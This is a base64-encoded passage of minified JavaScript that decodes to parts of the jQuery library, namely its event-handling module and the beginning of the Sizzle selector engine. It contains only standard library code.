Im9uIituLG0pKSksZy5hZGQmJihnLmFkZC5jYWxsKGEsciksci5oYW5kbGVyLmd1aWR8fChyLmhhbmRsZXIuZ3VpZD1oLmd1aWQpKSxmP3Auc3BsaWNlKHAuZGVsZWdhdGVDb3VudCsrLDAscik6cC5wdXNoKHIpLGQuZXZlbnQuZ2xvYmFsW25dPSEwO2E9bnVsbH19LHJlbW92ZTpmdW5jdGlvbihhLGMsaCxlLGIpe3ZhciBmLGcsdixrLG0scixwLG4sdCwNCncsUCx4PWQuaGFzRGF0YShhKSYmZC5fZGF0YShhKTtpZih4JiYocj14LmV2ZW50cykpe2M9KGN8fCIiKS5tYXRjaChTKXx8WyIiXTtmb3IobT1jLmxlbmd0aDttLS07KWlmKHY9dWIuZXhlYyhjW21dKXx8W10sdD1QPXZbMV0sdz0odlsyXXx8IiIpLnNwbGl0KCIuIikuc29ydCgpLHQpe3A9ZC5ldmVudC5zcGVjaWFsW3RdfHx7fTt0PShlP3AuZGVsZWdhdGVUeXBlOnAuYmluZFR5cGUpfHx0O249clt0XXx8W107dj12WzJdJiZSZWdFeHAoIihefFxcLikiK3cuam9pbigiXFwuKD86LipcXC58KSIpKyIoXFwufCQpIik7Zm9yKGs9Zj1uLmxlbmd0aDtmLS07KWc9bltmXSwhYiYmUCE9PWcub3JpZ1R5cGV8fGgmJmguZ3VpZCE9PWcuZ3VpZHx8diYmIXYudGVzdChnLm5hbWVzcGFjZSl8fGUmJmUhPT1nLnNlbGVjdG9yJiYoIioqIiE9PWV8fCFnLnNlbGVjdG9yKXx8KG4uc3BsaWNlKGYsMSksZy5zZWxlY3RvciYmbi5kZWxlZ2F0ZUNvdW50LS0scC5yZW1vdmUmJnAucmVtb3ZlLmNhbGwoYSwNCmcpKTtrJiYhbi5sZW5ndGgmJihwLnRlYXJkb3duJiYhMSE9PXAudGVhcmRvd24uY2FsbChhLHcseC5oYW5kbGUpfHxkLnJlbW92ZUV2ZW50KGEsdCx4LmhhbmRsZSksZGVsZXRlIHJbdF0pfWVsc2UgZm9yKHQgaW4gcilkLmV2ZW50LnJlbW92ZShhLHQrY1ttXSxoLGUsITApO2QuaXNFbXB0eU9iamVjdChyKSYmKGRlbGV0ZSB4LmhhbmRsZSxkLl9yZW1vdmVEYXRhKGEsImV2ZW50cyIpKX19LHRyaWdnZXI6ZnVuY3Rpb24oYSxjLGgsZil7dmFyIGcsdSxsLHYsayxtLHI9W2h8fHRdLHA9b2EuY2FsbChhLCJ0eXBlIik/YS50eXBlOmE7bT1vYS5jYWxsKGEsIm5hbWVzcGFjZSIpP2EubmFtZXNwYWNlLnNwbGl0KCIuIik6W107aWYobD1nPWg9aHx8dCwzIT09aC5ub2RlVHlwZSYmOCE9PWgubm9kZVR5cGUmJiF0Yi50ZXN0KHArZC5ldmVudC50cmlnZ2VyZWQpJiYoMDw9cC5pbmRleE9mKCIuIikmJihtPXAuc3BsaXQoIi4iKSxwPW0uc2hpZnQoKSxtLnNvcnQoKSksdT0wPnAuaW5kZXhPZigiOiIpJiYNCiJvbiIrcCxhPWFbZC5leHBhbmRvXT9hOm5ldyBkLkV2ZW50KHAsIm9iamVjdCI9PXR5cGVvZiBhJiZhKSxhLmlzVHJpZ2dlcj0hMCxhLm5hbWVzcGFjZT1tLmpvaW4oIi4iKSxhLm5hbWVzcGFjZV9yZT1hLm5hbWVzcGFjZT9SZWdFeHAoIihefFxcLikiK20uam9pbigiXFwuKD86LipcXC58KSIpKyIoXFwufCQpIik6bnVsbCxhLnJlc3VsdD1lLGEudGFyZ2V0fHwoYS50YXJnZXQ9aCksYz1udWxsPT1jP1thXTpkLm1ha2VBcnJheShjLFthXSksaz1kLmV2ZW50LnNwZWNpYWxbcF18fHt9LGZ8fCFrLnRyaWdnZXJ8fCExIT09ay50cmlnZ2VyLmFwcGx5KGgsYykpKXtpZighZiYmIWsubm9CdWJibGUmJiFkLmlzV2luZG93KGgpKXt2PWsuZGVsZWdhdGVUeXBlfHxwO2Zvcih0Yi50ZXN0KHYrcCl8fChsPWwucGFyZW50Tm9kZSk7bDtsPWwucGFyZW50Tm9kZSlyLnB1c2gobCksZz1sO2c9PT0oaC5vd25lckRvY3VtZW50fHx0KSYmci5wdXNoKGcuZGVmYXVsdFZpZXd8fGcucGFyZW50V2luZG93fHwNCmIpfWZvcihtPTA7KGw9clttKytdKSYmIWEuaXNQcm9wYWdhdGlvblN0b3BwZWQoKTspYS50eXBlPTE8bT92OmsuYmluZFR5cGV8fHAsKGc9KGQuX2RhdGEobCwiZXZlbnRzIil8fHt9KVthLnR5cGVdJiZkLl9kYXRhKGwsImhhbmRsZSIpKSYmZy5hcHBseShsLGMpLChnPXUmJmxbdV0pJiZkLmFjY2VwdERhdGEobCkmJmcuYXBwbHkmJiExPT09Zy5hcHBseShsLGMpJiZhLnByZXZlbnREZWZhdWx0KCk7aWYoYS50eXBlPXAsIShmfHxhLmlzRGVmYXVsdFByZXZlbnRlZCgpfHxrLl9kZWZhdWx0JiYhMSE9PWsuX2RlZmF1bHQuYXBwbHkoaC5vd25lckRvY3VtZW50LGMpfHwiY2xpY2siPT09cCYmZC5ub2RlTmFtZShoLCJhIil8fCFkLmFjY2VwdERhdGEoaCl8fCF1fHwhaFtwXXx8ZC5pc1dpbmRvdyhoKSkpeyhnPWhbdV0pJiYoaFt1XT1udWxsKTtkLmV2ZW50LnRyaWdnZXJlZD1wO3RyeXtoW3BdKCl9Y2F0Y2gobil7fWQuZXZlbnQudHJpZ2dlcmVkPWU7ZyYmKGhbdV09Zyl9cmV0dXJuIGEucmVzdWx0fX0sDQpkaXNwYXRjaDpmdW5jdGlvbihhKXthPWQuZXZlbnQuZml4KGEpO3ZhciBjLGgsYixmLGcsbD1bXSx2PVkuY2FsbChhcmd1bWVudHMpO2M9KGQuX2RhdGEodGhpcywiZXZlbnRzIil8fHt9KVthLnR5cGVdfHxbXTt2YXIgaz1kLmV2ZW50LnNwZWNpYWxbYS50eXBlXXx8e307aWYodlswXT1hLGEuZGVsZWdhdGVUYXJnZXQ9dGhpcywhay5wcmVEaXNwYXRjaHx8ITEhPT1rLnByZURpc3BhdGNoLmNhbGwodGhpcyxhKSl7bD1kLmV2ZW50LmhhbmRsZXJzLmNhbGwodGhpcyxhLGMpO2ZvcihjPTA7KGY9bFtjKytdKSYmIWEuaXNQcm9wYWdhdGlvblN0b3BwZWQoKTspe2EuY3VycmVudFRhcmdldD1mLmVsZW07Zm9yKGc9MDsoYj1mLmhhbmRsZXJzW2crK10pJiYhYS5pc0ltbWVkaWF0ZVByb3BhZ2F0aW9uU3RvcHBlZCgpOykoIWEubmFtZXNwYWNlX3JlfHxhLm5hbWVzcGFjZV9yZS50ZXN0KGIubmFtZXNwYWNlKSkmJihhLmhhbmRsZU9iaj1iLGEuZGF0YT1iLmRhdGEsaD0oKGQuZXZlbnQuc3BlY2lhbFtiLm9yaWdUeXBlXXx8DQp7fSkuaGFuZGxlfHxiLmhhbmRsZXIpLmFwcGx5KGYuZWxlbSx2KSxoIT09ZSYmITE9PT0oYS5yZXN1bHQ9aCkmJihhLnByZXZlbnREZWZhdWx0KCksYS5zdG9wUHJvcGFnYXRpb24oKSkpfXJldHVybiBrLnBvc3REaXNwYXRjaCYmay5wb3N0RGlzcGF0Y2guY2FsbCh0aGlzLGEpLGEucmVzdWx0fX0saGFuZGxlcnM6ZnVuY3Rpb24oYSxjKXt2YXIgaCxiLGYsZyxsPVtdLGs9Yy5kZWxlZ2F0ZUNvdW50LG09YS50YXJnZXQ7aWYoayYmbS5ub2RlVHlwZSYmKCFhLmJ1dHRvbnx8ImNsaWNrIiE9PWEudHlwZSkpZm9yKDttIT10aGlzO209bS5wYXJlbnROb2RlfHx0aGlzKWlmKDE9PT1tLm5vZGVUeXBlJiYoITAhPT1tLmRpc2FibGVkfHwiY2xpY2siIT09YS50eXBlKSl7Zj1bXTtmb3IoZz0wO2s+ZztnKyspYj1jW2ddLGg9Yi5zZWxlY3RvcisiICIsZltoXT09PWUmJihmW2hdPWIubmVlZHNDb250ZXh0PzA8PWQoaCx0aGlzKS5pbmRleChtKTpkLmZpbmQoaCx0aGlzLG51bGwsW21dKS5sZW5ndGgpLA0KZltoXSYmZi5wdXNoKGIpO2YubGVuZ3RoJiZsLnB1c2goe2VsZW06bSxoYW5kbGVyczpmfSl9cmV0dXJuIGMubGVuZ3RoPmsmJmwucHVzaCh7ZWxlbTp0aGlzLGhhbmRsZXJzOmMuc2xpY2Uoayl9KSxsfSxmaXg6ZnVuY3Rpb24oYSl7aWYoYVtkLmV4cGFuZG9dKXJldHVybiBhO3ZhciBjLGUsYjtjPWEudHlwZTt2YXIgZj1hLGc9dGhpcy5maXhIb29rc1tjXTtnfHwodGhpcy5maXhIb29rc1tjXT1nPWxjLnRlc3QoYyk/dGhpcy5tb3VzZUhvb2tzOmtjLnRlc3QoYyk/dGhpcy5rZXlIb29rczp7fSk7Yj1nLnByb3BzP3RoaXMucHJvcHMuY29uY2F0KGcucHJvcHMpOnRoaXMucHJvcHM7YT1uZXcgZC5FdmVudChmKTtmb3IoYz1iLmxlbmd0aDtjLS07KWU9YltjXSxhW2VdPWZbZV07cmV0dXJuIGEudGFyZ2V0fHwoYS50YXJnZXQ9Zi5zcmNFbGVtZW50fHx0KSwzPT09YS50YXJnZXQubm9kZVR5cGUmJihhLnRhcmdldD1hLnRhcmdldC5wYXJlbnROb2RlKSxhLm1ldGFLZXk9ISFhLm1ldGFLZXksDQpnLmZpbHRlcj9nLmZpbHRlcihhLGYpOmF9LHByb3BzOiJhbHRLZXkgYnViYmxlcyBjYW5jZWxhYmxlIGN0cmxLZXkgY3VycmVudFRhcmdldCBldmVudFBoYXNlIG1ldGFLZXkgcmVsYXRlZFRhcmdldCBzaGlmdEtleSB0YXJnZXQgdGltZVN0YW1wIHZpZXcgd2hpY2giLnNwbGl0KCIgIiksZml4SG9va3M6e30sa2V5SG9va3M6e3Byb3BzOlsiY2hhciIsImNoYXJDb2RlIiwia2V5Iiwia2V5Q29kZSJdLGZpbHRlcjpmdW5jdGlvbihhLGMpe3JldHVybiBudWxsPT1hLndoaWNoJiYoYS53aGljaD1udWxsIT1jLmNoYXJDb2RlP2MuY2hhckNvZGU6Yy5rZXlDb2RlKSxhfX0sbW91c2VIb29rczp7cHJvcHM6ImJ1dHRvbiBidXR0b25zIGNsaWVudFggY2xpZW50WSBmcm9tRWxlbWVudCBvZmZzZXRYIG9mZnNldFkgcGFnZVggcGFnZVkgc2NyZWVuWCBzY3JlZW5ZIHRvRWxlbWVudCIuc3BsaXQoIiAiKSxmaWx0ZXI6ZnVuY3Rpb24oYSxjKXt2YXIgZCxiLGYsZz1jLmJ1dHRvbixsPWMuZnJvbUVsZW1lbnQ7DQpyZXR1cm4gbnVsbD09YS5wYWdlWCYmbnVsbCE9Yy5jbGllbnRYJiYoYj1hLnRhcmdldC5vd25lckRvY3VtZW50fHx0LGY9Yi5kb2N1bWVudEVsZW1lbnQsZD1iLmJvZHksYS5wYWdlWD1jLmNsaWVudFgrKGYmJmYuc2Nyb2xsTGVmdHx8ZCYmZC5zY3JvbGxMZWZ0fHwwKS0oZiYmZi5jbGllbnRMZWZ0fHxkJiZkLmNsaWVudExlZnR8fDApLGEucGFnZVk9Yy5jbGllbnRZKyhmJiZmLnNjcm9sbFRvcHx8ZCYmZC5zY3JvbGxUb3B8fDApLShmJiZmLmNsaWVudFRvcHx8ZCYmZC5jbGllbnRUb3B8fDApKSwhYS5yZWxhdGVkVGFyZ2V0JiZsJiYoYS5yZWxhdGVkVGFyZ2V0PWw9PT1hLnRhcmdldD9jLnRvRWxlbWVudDpsKSxhLndoaWNofHxnPT09ZXx8KGEud2hpY2g9MSZnPzE6MiZnPzM6NCZnPzI6MCksYX19LHNwZWNpYWw6e2xvYWQ6e25vQnViYmxlOiEwfSxjbGljazp7dHJpZ2dlcjpmdW5jdGlvbigpe3JldHVybiBkLm5vZGVOYW1lKHRoaXMsImlucHV0IikmJiJjaGVja2JveCI9PT10aGlzLnR5cGUmJg0KdGhpcy5jbGljaz8odGhpcy5jbGljaygpLCExKTplfX0sZm9jdXM6e3RyaWdnZXI6ZnVuY3Rpb24oKXtpZih0aGlzIT09dC5hY3RpdmVFbGVtZW50JiZ0aGlzLmZvY3VzKXRyeXtyZXR1cm4gdGhpcy5mb2N1cygpLCExfWNhdGNoKGEpe319LGRlbGVnYXRlVHlwZToiZm9jdXNpbiJ9LGJsdXI6e3RyaWdnZXI6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcz09PXQuYWN0aXZlRWxlbWVudCYmdGhpcy5ibHVyPyh0aGlzLmJsdXIoKSwhMSk6ZX0sZGVsZWdhdGVUeXBlOiJmb2N1c291dCJ9LGJlZm9yZXVubG9hZDp7cG9zdERpc3BhdGNoOmZ1bmN0aW9uKGEpe2EucmVzdWx0IT09ZSYmKGEub3JpZ2luYWxFdmVudC5yZXR1cm5WYWx1ZT1hLnJlc3VsdCl9fX0sc2ltdWxhdGU6ZnVuY3Rpb24oYSxjLGUsYil7YT1kLmV4dGVuZChuZXcgZC5FdmVudCxlLHt0eXBlOmEsaXNTaW11bGF0ZWQ6ITAsb3JpZ2luYWxFdmVudDp7fX0pO2I/ZC5ldmVudC50cmlnZ2VyKGEsbnVsbCxjKTpkLmV2ZW50LmRpc3BhdGNoLmNhbGwoYywNCmEpO2EuaXNEZWZhdWx0UHJldmVudGVkKCkmJmUucHJldmVudERlZmF1bHQoKX19O2QucmVtb3ZlRXZlbnQ9dC5yZW1vdmVFdmVudExpc3RlbmVyP2Z1bmN0aW9uKGEsYyxkKXthLnJlbW92ZUV2ZW50TGlzdGVuZXImJmEucmVtb3ZlRXZlbnRMaXN0ZW5lcihjLGQsITEpfTpmdW5jdGlvbihhLGMsZCl7Yz0ib24iK2M7YS5kZXRhY2hFdmVudCYmKHR5cGVvZiBhW2NdPT09USYmKGFbY109bnVsbCksYS5kZXRhY2hFdmVudChjLGQpKX07ZC5FdmVudD1mdW5jdGlvbihhLGMpe3JldHVybiB0aGlzIGluc3RhbmNlb2YgZC5FdmVudD8oYSYmYS50eXBlPyh0aGlzLm9yaWdpbmFsRXZlbnQ9YSx0aGlzLnR5cGU9YS50eXBlLHRoaXMuaXNEZWZhdWx0UHJldmVudGVkPWEuZGVmYXVsdFByZXZlbnRlZHx8ITE9PT1hLnJldHVyblZhbHVlfHxhLmdldFByZXZlbnREZWZhdWx0JiZhLmdldFByZXZlbnREZWZhdWx0KCk/ejp4KTp0aGlzLnR5cGU9YSxjJiZkLmV4dGVuZCh0aGlzLGMpLHRoaXMudGltZVN0YW1wPQ0KYSYmYS50aW1lU3RhbXB8fGQubm93KCksdGhpc1tkLmV4cGFuZG9dPSEwLGUpOm5ldyBkLkV2ZW50KGEsYyl9O2QuRXZlbnQucHJvdG90eXBlPXtpc0RlZmF1bHRQcmV2ZW50ZWQ6eCxpc1Byb3BhZ2F0aW9uU3RvcHBlZDp4LGlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkOngscHJldmVudERlZmF1bHQ6ZnVuY3Rpb24oKXt2YXIgYT10aGlzLm9yaWdpbmFsRXZlbnQ7dGhpcy5pc0RlZmF1bHRQcmV2ZW50ZWQ9ejthJiYoYS5wcmV2ZW50RGVmYXVsdD9hLnByZXZlbnREZWZhdWx0KCk6YS5yZXR1cm5WYWx1ZT0hMSl9LHN0b3BQcm9wYWdhdGlvbjpmdW5jdGlvbigpe3ZhciBhPXRoaXMub3JpZ2luYWxFdmVudDt0aGlzLmlzUHJvcGFnYXRpb25TdG9wcGVkPXo7YSYmKGEuc3RvcFByb3BhZ2F0aW9uJiZhLnN0b3BQcm9wYWdhdGlvbigpLGEuY2FuY2VsQnViYmxlPSEwKX0sc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uOmZ1bmN0aW9uKCl7dGhpcy5pc0ltbWVkaWF0ZVByb3BhZ2F0aW9uU3RvcHBlZD0NCno7dGhpcy5zdG9wUHJvcGFnYXRpb24oKX19O2QuZWFjaCh7bW91c2VlbnRlcjoibW91c2VvdmVyIixtb3VzZWxlYXZlOiJtb3VzZW91dCJ9LGZ1bmN0aW9uKGEsYyl7ZC5ldmVudC5zcGVjaWFsW2FdPXtkZWxlZ2F0ZVR5cGU6YyxiaW5kVHlwZTpjLGhhbmRsZTpmdW5jdGlvbihhKXt2YXIgZSxiPWEucmVsYXRlZFRhcmdldCxmPWEuaGFuZGxlT2JqO3JldHVybighYnx8YiE9PXRoaXMmJiFkLmNvbnRhaW5zKHRoaXMsYikpJiYoYS50eXBlPWYub3JpZ1R5cGUsZT1mLmhhbmRsZXIuYXBwbHkodGhpcyxhcmd1bWVudHMpLGEudHlwZT1jKSxlfX19KTtkLnN1cHBvcnQuc3VibWl0QnViYmxlc3x8KGQuZXZlbnQuc3BlY2lhbC5zdWJtaXQ9e3NldHVwOmZ1bmN0aW9uKCl7cmV0dXJuIGQubm9kZU5hbWUodGhpcywiZm9ybSIpPyExOihkLmV2ZW50LmFkZCh0aGlzLCJjbGljay5fc3VibWl0IGtleXByZXNzLl9zdWJtaXQiLGZ1bmN0aW9uKGEpe2E9YS50YXJnZXQ7KGE9ZC5ub2RlTmFtZShhLA0KImlucHV0Iil8fGQubm9kZU5hbWUoYSwiYnV0dG9uIik/YS5mb3JtOmUpJiYhZC5fZGF0YShhLCJzdWJtaXRCdWJibGVzIikmJihkLmV2ZW50LmFkZChhLCJzdWJtaXQuX3N1Ym1pdCIsZnVuY3Rpb24oYSl7YS5fc3VibWl0X2J1YmJsZT0hMH0pLGQuX2RhdGEoYSwic3VibWl0QnViYmxlcyIsITApKX0pLGUpfSxwb3N0RGlzcGF0Y2g6ZnVuY3Rpb24oYSl7YS5fc3VibWl0X2J1YmJsZSYmKGRlbGV0ZSBhLl9zdWJtaXRfYnViYmxlLHRoaXMucGFyZW50Tm9kZSYmIWEuaXNUcmlnZ2VyJiZkLmV2ZW50LnNpbXVsYXRlKCJzdWJtaXQiLHRoaXMucGFyZW50Tm9kZSxhLCEwKSl9LHRlYXJkb3duOmZ1bmN0aW9uKCl7cmV0dXJuIGQubm9kZU5hbWUodGhpcywiZm9ybSIpPyExOihkLmV2ZW50LnJlbW92ZSh0aGlzLCIuX3N1Ym1pdCIpLGUpfX0pO2Quc3VwcG9ydC5jaGFuZ2VCdWJibGVzfHwoZC5ldmVudC5zcGVjaWFsLmNoYW5nZT17c2V0dXA6ZnVuY3Rpb24oKXtyZXR1cm4gTWEudGVzdCh0aGlzLm5vZGVOYW1lKT8NCigoImNoZWNrYm94Ij09PXRoaXMudHlwZXx8InJhZGlvIj09PXRoaXMudHlwZSkmJihkLmV2ZW50LmFkZCh0aGlzLCJwcm9wZXJ0eWNoYW5nZS5fY2hhbmdlIixmdW5jdGlvbihhKXsiY2hlY2tlZCI9PT1hLm9yaWdpbmFsRXZlbnQucHJvcGVydHlOYW1lJiYodGhpcy5fanVzdF9jaGFuZ2VkPSEwKX0pLGQuZXZlbnQuYWRkKHRoaXMsImNsaWNrLl9jaGFuZ2UiLGZ1bmN0aW9uKGEpe3RoaXMuX2p1c3RfY2hhbmdlZCYmIWEuaXNUcmlnZ2VyJiYodGhpcy5fanVzdF9jaGFuZ2VkPSExKTtkLmV2ZW50LnNpbXVsYXRlKCJjaGFuZ2UiLHRoaXMsYSwhMCl9KSksITEpOihkLmV2ZW50LmFkZCh0aGlzLCJiZWZvcmVhY3RpdmF0ZS5fY2hhbmdlIixmdW5jdGlvbihhKXthPWEudGFyZ2V0O01hLnRlc3QoYS5ub2RlTmFtZSkmJiFkLl9kYXRhKGEsImNoYW5nZUJ1YmJsZXMiKSYmKGQuZXZlbnQuYWRkKGEsImNoYW5nZS5fY2hhbmdlIixmdW5jdGlvbihhKXshdGhpcy5wYXJlbnROb2RlfHxhLmlzU2ltdWxhdGVkfHwNCmEuaXNUcmlnZ2VyfHxkLmV2ZW50LnNpbXVsYXRlKCJjaGFuZ2UiLHRoaXMucGFyZW50Tm9kZSxhLCEwKX0pLGQuX2RhdGEoYSwiY2hhbmdlQnViYmxlcyIsITApKX0pLGUpfSxoYW5kbGU6ZnVuY3Rpb24oYSl7dmFyIGM9YS50YXJnZXQ7cmV0dXJuIHRoaXMhPT1jfHxhLmlzU2ltdWxhdGVkfHxhLmlzVHJpZ2dlcnx8InJhZGlvIiE9PWMudHlwZSYmImNoZWNrYm94IiE9PWMudHlwZT9hLmhhbmRsZU9iai5oYW5kbGVyLmFwcGx5KHRoaXMsYXJndW1lbnRzKTplfSx0ZWFyZG93bjpmdW5jdGlvbigpe3JldHVybiBkLmV2ZW50LnJlbW92ZSh0aGlzLCIuX2NoYW5nZSIpLCFNYS50ZXN0KHRoaXMubm9kZU5hbWUpfX0pO2Quc3VwcG9ydC5mb2N1c2luQnViYmxlc3x8ZC5lYWNoKHtmb2N1czoiZm9jdXNpbiIsYmx1cjoiZm9jdXNvdXQifSxmdW5jdGlvbihhLGMpe3ZhciBlPTAsYj1mdW5jdGlvbihhKXtkLmV2ZW50LnNpbXVsYXRlKGMsYS50YXJnZXQsZC5ldmVudC5maXgoYSksITApfTtkLmV2ZW50LnNwZWNpYWxbY109DQp7c2V0dXA6ZnVuY3Rpb24oKXswPT09ZSsrJiZ0LmFkZEV2ZW50TGlzdGVuZXIoYSxiLCEwKX0sdGVhcmRvd246ZnVuY3Rpb24oKXswPT09LS1lJiZ0LnJlbW92ZUV2ZW50TGlzdGVuZXIoYSxiLCEwKX19fSk7ZC5mbi5leHRlbmQoe29uOmZ1bmN0aW9uKGEsYyxiLGYsZyl7dmFyIHUsbDtpZigib2JqZWN0Ij09dHlwZW9mIGEpeyJzdHJpbmciIT10eXBlb2YgYyYmKGI9Ynx8YyxjPWUpO2Zvcih1IGluIGEpdGhpcy5vbih1LGMsYixhW3VdLGcpO3JldHVybiB0aGlzfWlmKG51bGw9PWImJm51bGw9PWY/KGY9YyxiPWM9ZSk6bnVsbD09ZiYmKCJzdHJpbmciPT10eXBlb2YgYz8oZj1iLGI9ZSk6KGY9YixiPWMsYz1lKSksITE9PT1mKWY9eDtlbHNlIGlmKCFmKXJldHVybiB0aGlzO3JldHVybiAxPT09ZyYmKGw9ZixmPWZ1bmN0aW9uKGEpe3JldHVybiBkKCkub2ZmKGEpLGwuYXBwbHkodGhpcyxhcmd1bWVudHMpfSxmLmd1aWQ9bC5ndWlkfHwobC5ndWlkPWQuZ3VpZCsrKSksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7ZC5ldmVudC5hZGQodGhpcywNCmEsZixiLGMpfSl9LG9uZTpmdW5jdGlvbihhLGMsZCxiKXtyZXR1cm4gdGhpcy5vbihhLGMsZCxiLDEpfSxvZmY6ZnVuY3Rpb24oYSxjLGIpe3ZhciBmLGc7aWYoYSYmYS5wcmV2ZW50RGVmYXVsdCYmYS5oYW5kbGVPYmopcmV0dXJuIGY9YS5oYW5kbGVPYmosZChhLmRlbGVnYXRlVGFyZ2V0KS5vZmYoZi5uYW1lc3BhY2U/Zi5vcmlnVHlwZSsiLiIrZi5uYW1lc3BhY2U6Zi5vcmlnVHlwZSxmLnNlbGVjdG9yLGYuaGFuZGxlciksdGhpcztpZigib2JqZWN0Ij09dHlwZW9mIGEpe2ZvcihnIGluIGEpdGhpcy5vZmYoZyxjLGFbZ10pO3JldHVybiB0aGlzfXJldHVybighMT09PWN8fCJmdW5jdGlvbiI9PXR5cGVvZiBjKSYmKGI9YyxjPWUpLCExPT09YiYmKGI9eCksdGhpcy5lYWNoKGZ1bmN0aW9uKCl7ZC5ldmVudC5yZW1vdmUodGhpcyxhLGIsYyl9KX0sYmluZDpmdW5jdGlvbihhLGMsZCl7cmV0dXJuIHRoaXMub24oYSxudWxsLGMsZCl9LHVuYmluZDpmdW5jdGlvbihhLGMpe3JldHVybiB0aGlzLm9mZihhLA0KbnVsbCxjKX0sZGVsZWdhdGU6ZnVuY3Rpb24oYSxjLGQsYil7cmV0dXJuIHRoaXMub24oYyxhLGQsYil9LHVuZGVsZWdhdGU6ZnVuY3Rpb24oYSxjLGQpe3JldHVybiAxPT09YXJndW1lbnRzLmxlbmd0aD90aGlzLm9mZihhLCIqKiIpOnRoaXMub2ZmKGMsYXx8IioqIixkKX0sdHJpZ2dlcjpmdW5jdGlvbihhLGMpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtkLmV2ZW50LnRyaWdnZXIoYSxjLHRoaXMpfSl9LHRyaWdnZXJIYW5kbGVyOmZ1bmN0aW9uKGEsYyl7dmFyIGI9dGhpc1swXTtyZXR1cm4gYj9kLmV2ZW50LnRyaWdnZXIoYSxjLGIsITApOmV9fSk7KGZ1bmN0aW9uKGEsYyl7ZnVuY3Rpb24gYihhKXtyZXR1cm4gbWEudGVzdChhKyIiKX1mdW5jdGlvbiBlKCl7dmFyIGEsYz1bXTtyZXR1cm4gYT1mdW5jdGlvbihkLGIpe3JldHVybiBjLnB1c2goZCs9IiAiKT55LmNhY2hlTGVuZ3RoJiZkZWxldGUgYVtjLnNoaWZ0KCldLGFbZF09Yn19ZnVuY3Rpb24gZihhKXtyZXR1cm4gYVtFXT0NCiEwLGF9ZnVuY3Rpb24gZyhhKXt2YXIgYz1PLmNyZWF0ZUVsZW1lbnQoImRpdiIpO3RyeXtyZXR1cm4gYShjKX1jYXRjaChkKXtyZXR1cm4hMX1maW5hbGx5e319ZnVuY3Rpb24gbChhLGMsZCxiKXt2YXIgZSxoLGYsZyxsO2lmKChjP2Mub3duZXJEb2N1bWVudHx8YzpKKSE9PU8mJnNhKGMpLGM9Y3x8TyxkPWR8fFtdLCFhfHwic3RyaW5nIiE9dHlwZW9mIGEpcmV0dXJuIGQ7aWYoMSE9PShnPWMubm9kZVR5cGUpJiY5IT09ZylyZXR1cm5bXTtpZighWiYmIWIpe2lmKGU9bmEuZXhlYyhhKSlpZihmPWVbMV0paWYoOT09PWcpe2lmKGg9Yy5nZXRFbGVtZW50QnlJZChmKSwhaHx8IWgucGFyZW50Tm9kZSlyZXR1cm4gZDtpZihoLmlkPT09ZilyZXR1cm4gZC5wdXNoKGgpLGR9ZWxzZXtpZihjLm93bmVyRG9jdW1lbnQmJihoPWMub3duZXJEb2N1bWVudC5nZXRFbGVtZW50QnlJZChmKSkmJnZhKGMsaCkmJmguaWQ9PT1mKXJldHVybiBkLnB1c2goaCksZH1lbHNle2lmKGVbMl0pcmV0dXJuIE4uYXBwbHkoZCwNCksuY2FsbChjLmdldEVsZW1lbnRzQnlUYWdOYW1lKGEpLDApKSxkO2lmKChmPWVbM10pJiZILmdldEJ5Q2xhc3NOYW1lJiZjLmdldEVsZW1lbnRzQnlDbGFzc05hbWUpcmV0dXJuIE4uYXBwbHkoZCxLLmNhbGwoYy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGYpLDApKSxkfWlmKEgucXNhJiYhY2EudGVzdChhKSl7aWYoZT0hMCxoPUUsZj1jLGw9OT09PWcmJmEsMT09PWcmJiJvYmplY3QiIT09Yy5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpKXtnPXAoYSk7KGU9Yy5nZXRBdHRyaWJ1dGUoImlkIikpP2g9ZS5yZXBsYWNlKHFhLCJcXCRceDI2Iik6Yy5zZXRBdHRyaWJ1dGUoImlkIixoKTtoPSJbaWRceDNkJyIraCsiJ10gIjtmb3IoZj1nLmxlbmd0aDtmLS07KWdbZl09aCt0KGdbZl0pO2Y9ZWEudGVzdChhKSYmYy5wYXJlbnROb2RlfHxjO2w9Zy5qb2luKCIsIil9aWYobCl0cnl7cmV0dXJuIE4uYXBwbHkoZCxLLmNhbGwoZi5xdWVyeVNlbGVjdG9yQWxsKGwpLDApKSxkfWNhdGNoKHMpe31maW5hbGx5e2V8fA0KYy5yZW1vdmVBdHRyaWJ1dGUoImlkIil9fX12YXIgcTthOnthPWEucmVwbGFjZShVLCIkMSIpO3ZhciB1LGs7aD1wKGEpO2lmKCFiJiYxPT09aC5sZW5ndGgpe2lmKHE9aFswXT1oWzBdLnNsaWNlKDApLDI8cS5sZW5ndGgmJiJJRCI9PT0odT1xWzBdKS50eXBlJiY5PT09Yy5ub2RlVHlwZSYmIVomJnkucmVsYXRpdmVbcVsxXS50eXBlXSl7aWYoYz15LmZpbmQuSUQodS5tYXRjaGVzWzBdLnJlcGxhY2Uoa2EsbGEpLGMpWzBdLCFjKXtxPWQ7YnJlYWsgYX1hPWEuc2xpY2UocS5zaGlmdCgpLnZhbHVlLmxlbmd0aCl9Zm9yKGc9YWEubmVlZHNDb250ZXh0LnRlc3QoYSk/MDpxLmxlbmd0aDtnLS0mJiEodT1xW2ddLHkucmVsYXRpdmVbZT11LnR5cGVdKTspaWYoKGs9eS5maW5kW2VdKSYmKGI9ayh1Lm1hdGNoZXNbMF0ucmVwbGFjZShrYSxsYSksZWEudGVzdChxWzBdLnR5cGUpJiZjLnBhcmVudE5vZGV8fGMpKSl7aWYocS5zcGxpY2UoZywxKSxhPWIubGVuZ3RoJiZ0KHEpLCFhKXtxPShOLmFwcGx5KGQsDQpLLmNhbGwoYiwwKSksZCk7YnJlYWsgYX1icmVha319cT0oTmEoYSxoKShiLGMsWixkLGVhLnRlc3QoYSkpLGQpfXJldHVybiBxfWZ1bmN0aW9uIGsoYSxjKXt2YXIgZD1jJiZhLGI9ZCYmKH5jLnNvdXJjZUluZGV4fHxWKS0ofmEuc291cmNlSW5kZXh8fFYpO2lmKGIpcmV0dXJuIGI7aWYoZClmb3IoO2Q9ZC5uZXh0U2libGluZzspaWYoZD09PWMpcmV0dXJuLTE7cmV0dXJuIGE/MTotMX1mdW5jdGlvbiBtKGEpe3JldHVybiBmdW5jdGlvbihjKXtyZXR1cm4ia